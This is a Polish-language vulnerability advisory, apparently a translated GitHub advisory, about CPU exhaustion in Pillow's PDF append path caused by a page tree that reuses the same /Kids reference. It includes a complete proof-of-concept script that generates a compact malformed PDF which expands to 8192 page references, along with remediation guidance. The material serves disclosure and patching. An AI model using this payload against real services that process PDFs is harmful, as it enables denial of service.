Wysoka

Dołączanie PDF w Pillow akceptuje nieprawidłowy współdzielony DAG drzewa stron, powodując wyczerpanie zasobów

  • Ujawniono: 22.10.2026
  • Aktualizacja: 29.10.2026 12:17

Komunikat źródłowy zmienił się od przygotowania tego objaśnienia. Sprawdź aktualne dane techniczne i oryginalny komunikat poniżej.

Podsumowanie

Udokumentowana ścieżka dołączania plików PDF w bibliotece Pillow może zużywać nieproporcjonalnie dużo czasu procesora na kompaktowym, zniekształconym drzewie stron PDF.

Atakujący, który może dostarczyć istniejący plik PDF do aplikacji dołączającej obraz za pomocą Image.save(..., format="PDF", append=True), może przekazać zniekształcone drzewo /Pages, w którym każdy poziom powtarza to samo odwołanie podrzędne /Pages w /Kids. Pillow traktuje ten graf jako drzewo i rozwija każde powtórzone odwołanie w PdfParser.linearize_page_tree() bez śledzenia odwiedzonych lub zduplikowanych odwołań pośrednich.

W poniższym ograniczonym dowodzie koncepcji plik PDF o rozmiarze 1410 bajtów rozszerza się do 8192 odwołań do stron z jednego unikalnego obiektu strony i zajmuje około 9.6 sekund na ścieżce dołączania. Porównywalna kontrola liniowa o tej samej głębokości pozostaje przy jednym odwołaniu do strony i kończy działanie w około 0.02 sekundy.

Kwestia ta mieści się w zakresie polityki bezpieczeństwa Pillow, ponieważ można ją odtworzyć w main, wpływa na najnowsze przetestowane wydanie publiczne (12.3.0) i nie jest jedynie nieoczekiwanym wyjątkiem Pythona. Podatna operacja przyjmuje kontrolowane przez atakującego bajty PDF przez parser PDF biblioteki Pillow i powoduje deterministyczne zużycie zasobów przed normalnym zakończeniem.

Szczegóły

Wersje, których dotyczy problem

  • Pakiet: Pillow
  • Ekosystem: pip / PyPI
  • Komponent, którego dotyczy problem: przechodzenie drzewa stron src/PIL/PdfParser.py wywoływane z obsługi dołączania PDF src/PIL/PdfImagePlugin.py
  • Przetestowane w środowisku uruchomieniowym wydanie podatne: 12.3.0
  • Przetestowana w środowisku uruchomieniowym wersja deweloperska: 13.0.0.dev0
  • Przetestowany commit: b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Bieżący skrót artefaktu źródłowego: sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054
  • Commit wydania 12.3.0: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d
  • Skrót artefaktu źródłowego wydania 12.3.0: sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81
  • Wersje podatne na poziomie kodu źródłowego: 5.1.0, 12.2.0, 12.3.0 oraz HEAD
  • Prawdopodobny zakres podatności: >= 5.1.0
  • Załatane wersje: brak znanych

Fakty dowodowe:

  • Przetestowane w środowisku uruchomieniowym: 12.3.0
  • Przetestowane w środowisku uruchomieniowym: 13.0.0.dev0 pod b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Podatne na poziomie kodu źródłowego: 5.1.0
  • Podatne na poziomie kodu źródłowego: 12.2.0
  • Podatne na poziomie kodu źródłowego: HEAD
  • Prawdopodobny zakres podatności: >= 5.1.0, brak znanej wersji naprawionej
  • Uwaga dotycząca granicy wydań: 5.0.0 zawiera PdfImagePlugin.py, ale nie zawiera src/PIL/PdfParser.py

5.0.0 zawiera src/PIL/PdfImagePlugin.py, ale nie zawiera src/PIL/PdfParser.py. PdfParser.py zostało wprowadzone przez 6207b44ab1ff4a91d8ddc7579619876d0bb191a4 (2018-01-18 issue #2959: support appending to existing PDFs), co weszło w skład wydania 5.1.0.

Szczegóły techniczne

Ścieżka wykonania:

  1. Usługa lub aplikacja otrzymuje istniejący plik PDF pod wpływem atakującego i dołącza obraz przy użyciu publicznej ścieżki zapisu PDF Pillow:

    python
    Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True)
  2. src/PIL/PdfImagePlugin.py przekazuje append=True do PdfParser:

    python
    is_appending = im.encoderinfo.get("append", False)
    filename_str = filename.decode() if isinstance(filename, bytes) else filename
    if is_appending:
        existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b")
    else:
        existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b")
  3. src/PIL/PdfParser.py parsuje istniejący plik PDF i linearyzuje drzewo stron:

    python
    self.page_tree_root = self.read_indirect(self.pages_ref)
    self.pages = self.linearize_page_tree(self.page_tree_root)
    self.orig_pages = self.pages[:]
  4. linearize_page_tree() rekurencyjnie podąża za każdym wpisem /Kids i rozszerza listę stron. Nie śledzi tożsamości węzłów drzewa stron, zduplikowanych odwołań ani aktywnych odwołań podczas przechodzenia:

    python
    def linearize_page_tree(
        self, node: PdfDict | None = None
    ) -> list[IndirectReference]:
        page_node = node if node is not None else self.page_tree_root
        check_format_condition(
            page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages"
        )
        pages = []
        for kid in page_node[b"Kids"]:
            kid_object = self.read_indirect(kid)
            if kid_object[b"Type"] == b"Page":
                pages.append(kid)
            else:
                pages.extend(self.linearize_page_tree(node=kid_object))
        return pages
  5. Podczas dołączania rewrite_pages() iteruje po rozwiniętej liście orig_pages i skanuje/zastępuje wpisy w self.pages, generując dodatkowy koszt dla już powiększonej listy zduplikowanych odwołań.

Brakujący niezmiennik:

The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.

Dowód celowo wykorzystuje zniekształcony graf DAG drzewa stron PDF: każdy węzeł /Pages powtarza to samo kolejne odwołanie potomne /Pages dwukrotnie. Pillow akceptuje ten graf i rozwija go tak, jakby powtórzone odwołanie reprezentowało odrębne poddrzewa.

PoC

Środowisko użyte do walidacji:

  • System operacyjny / środowisko uruchomieniowe: Linux, Python 3.13.11
  • Bieżąca testowana kompilacja: Pillow 13.0.0.dev0, commit b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Najnowsze przetestowane wydanie: Pillow 12.3.0
  • Dowód korzysta wyłącznie ze sztucznych plików PDF w pamięci i nie łączy się z siecią.

Zapisz jako poc_pillow_pdf_page_tree_dag.py:

python
#!/usr/bin/env python3
from __future__ import annotations

import io
import json
import sys
import time

from PIL import Image, PdfParser
import PIL


def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
    if fanout not in (1, 2):
        raise ValueError("fanout must be 1 or 2")

    objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"]
    for object_id in range(2, depth + 3):
        next_id = object_id + 1
        kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
        parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
        objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>")
    objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii"))

    result = bytearray(b"%PDF-1.4\n")
    offsets = [0]
    for object_id, value in enumerate(objects, start=1):
        offsets.append(len(result))
        result.extend(f"{object_id} 0 obj\n".encode("ascii"))
        result.extend(value)
        result.extend(b"\nendobj\n")

    xref_offset = len(result)
    result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
    result.extend(b"0000000000 65535 f \n")
    for offset in offsets[1:]:
        result.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
    result.extend(
        f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n"
        f"startxref\n{xref_offset}\n%%EOF\n".encode("ascii")
    )
    return bytes(result)


def run_case(depth: int, fanout: int) -> dict[str, object]:
    payload = make_page_tree_pdf(depth, fanout)
    expected_refs = fanout ** (depth + 1)

    start = time.monotonic()
    with PdfParser.PdfParser(buf=payload) as pdf:
        observed_refs = len(pdf.pages)
        distinct_refs = len(set(pdf.pages))
    parse_seconds = time.monotonic() - start

    output = io.BytesIO(payload)
    start = time.monotonic()
    Image.new("L", (1, 1), 0).save(output, format="PDF", append=True)
    append_seconds = time.monotonic() - start

    return {
        "fanout": fanout,
        "depth": depth,
        "input_bytes": len(payload),
        "expected_refs": expected_refs,
        "observed_refs": observed_refs,
        "distinct_refs": distinct_refs,
        "parse_seconds": round(parse_seconds, 6),
        "append_seconds": round(append_seconds, 6),
        "output_bytes_after_append": len(output.getvalue()),
    }


def main() -> int:
    depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12
    if not 0 <= depth <= 16:
        raise SystemExit("depth must be between 0 and 16")

    linear = run_case(depth, fanout=1)
    shared_dag = run_case(depth, fanout=2)

    checks = {
        "linear_control_stays_one_page": linear["observed_refs"] == 1,
        "candidate_expands_to_expected_duplicate_refs": shared_dag["observed_refs"]
        == shared_dag["expected_refs"],
        "candidate_has_one_distinct_page_ref": shared_dag["distinct_refs"] == 1,
        "candidate_input_is_compact": shared_dag["input_bytes"] <= 2048,
        "append_path_processed_both_inputs": linear["output_bytes_after_append"]
        > linear["input_bytes"]
        and shared_dag["output_bytes_after_append"] > shared_dag["input_bytes"],
    }
    result = {
        "pillow_version": PIL.__version__,
        "pillow_file": PIL.__file__,
        "depth": depth,
        "linear_control": linear,
        "shared_dag_candidate": shared_dag,
        "checks": checks,
        "overall_passed": all(checks.values()),
    }
    print(json.dumps(result, indent=2, sort_keys=True))
    return 0 if result["overall_passed"] else 1


if __name__ == "__main__":
    raise SystemExit(main())

Uruchomienie:

bash
python3 poc_pillow_pdf_page_tree_dag.py

Oczekiwany rezultat:

"overall_passed": true
"linear_control": observed_refs == 1
"shared_dag_candidate": input_bytes == 1410
"shared_dag_candidate": observed_refs == 8192
"shared_dag_candidate": distinct_refs == 1

Zaobserwowano na bieżącym main / 13.0.0.dev0:

1410-byte input -> 8192 observed page refs -> 9.563007s append

Zaobserwowano na Pillow 12.3.0:

Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append

Dla porównania kontrola liniowa w tym samym środowisku wykorzystuje drzewo stron o porównywalnej głębokości z fanout=1; tworzy ono jedno odwołanie do strony i kończy dołączanie w czasie od około 0.016 do 0.028 sekund w testach walidacyjnych.

Wpływ

Jest to problem z dostępnością w obsłudze dołączania PDF w bibliotece Pillow. Aplikacje są narażone, jeśli niezaufani użytkownicy mogą dostarczyć istniejący plik PDF, do którego aplikacja później dołącza dane, nakłada znak wodny lub eksportuje za pośrednictwem ścieżki Image.save(..., format="PDF", append=True) Pillow.

Zademonstrowany mechanizm to deterministyczna amplifikacja zużycia procesora/zasobów wynikająca ze zwartych bajtów PDF kontrolowanych przez atakującego. Dowód nie wykazuje wpływu na poufność, integralność, uszkodzenie pamięci, dostęp do systemu plików, dostęp do sieci ani wpływu poprzez zwykłe Image.open().

Wymaga istniejącego pliku PDF kontrolowanego przez atakującego przetwarzanego przez udokumentowaną ścieżkę dołączania PDF w Pillow; nie dotyczy zwykłego Image.open().

Nie powinno to być traktowane jako zwykły nieoczekiwany wyjątek Pythona. W testowanych podatnych kompilacjach zniekształcony plik PDF jest akceptowany i przetwarzany do normalnego zakończenia po kosztownej ekspansji.

Naprawa

Odrzucanie zduplikowanych i cyklicznych odwołań w drzewie stron przed utworzeniem self.pages i self.orig_pages.

Jedną z możliwych poprawek jest przekazywanie stanu przechodzenia przez linearize_page_tree():

  • Śledzenie aktywnych odwołań /Pages w celu odrzucania cykli.
  • Śledzenie napotkanych odwołań pośrednich do drzew stron i stron w celu odrzucania zduplikowanych odwołań.
  • Zgłaszanie PdfFormatError, gdy drzewo stron nie jest acyklicznym drzewem unikalnych odwołań pośrednich.

Sugerowane testy regresji:

  • Mały plik PDF, którego tablica /Kids powtarza to samo odwołanie do węzła podrzędnego /Pages, powinien szybko zgłosić PdfFormatError, gdy zostanie użyty przez Image.save(..., format="PDF", append=True).
  • Zwykłe zagnieżdżone liniowe drzewo stron powinno nadal pomyślnie kończyć operację dołączania.

Co trzeba zrobić

Zaktualizuj bibliotekę Pillow do wersji 13.0.0 lub nowszej. Alternatywnie wdróż mechanizmy odrzucające zduplikowane i cykliczne odwołania w drzewie stron przed utworzeniem self.pages i self.orig_pages, np. poprzez śledzenie aktywnych odwołań /Pages w linearize_page_tree() i zgłaszanie PdfFormatError.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) pillow >= 5.1.0, < 13.0.0 13.0.0

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-400, CWE-407
Platforma
Python (PyPI)
Paczka
pillow
Ujawniono
22.10.2026
Aktualizacja
29.10.2026 12:17

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-mrfp-p49p-3hf2 - CC BY 4.0

Historia podatności: pillow

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (106) w archiwum
Wszystkich wpisów
106
Pierwsza → ostatnia
04.2014 11.2026
Bez poprawki
0
Wykorzystywana w atakach
1

Rozkład istotności

  • Krytyczna 14
  • Wysoka 63
  • Średnia 27
  • Niska 1
  • Nieoceniona 1

Ujawnienia w latach

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 19
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 49

wcześniej: 12

Istotność:
  1. Dołączanie PDF w Pillow akceptuje nieprawidłowy współdzielony DAG drzewa stron, powodując wyczerpanie zasobów ten wpis
    Wysoka CVE-2026-96640 >= 5.1.0, < 13.0.0 13.0.0
  2. Wysoka CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  3. Wysoka · 7.5 CVE-2026-112405 >= 12.0.0, < 13.0.0 13.0.0
  4. Krytyczna · 9.8 CVE-2026-112403 < 13.0.0 13.0.0
  5. Wysoka · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
Pokaż więcej (20) Widać 20 z 77

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.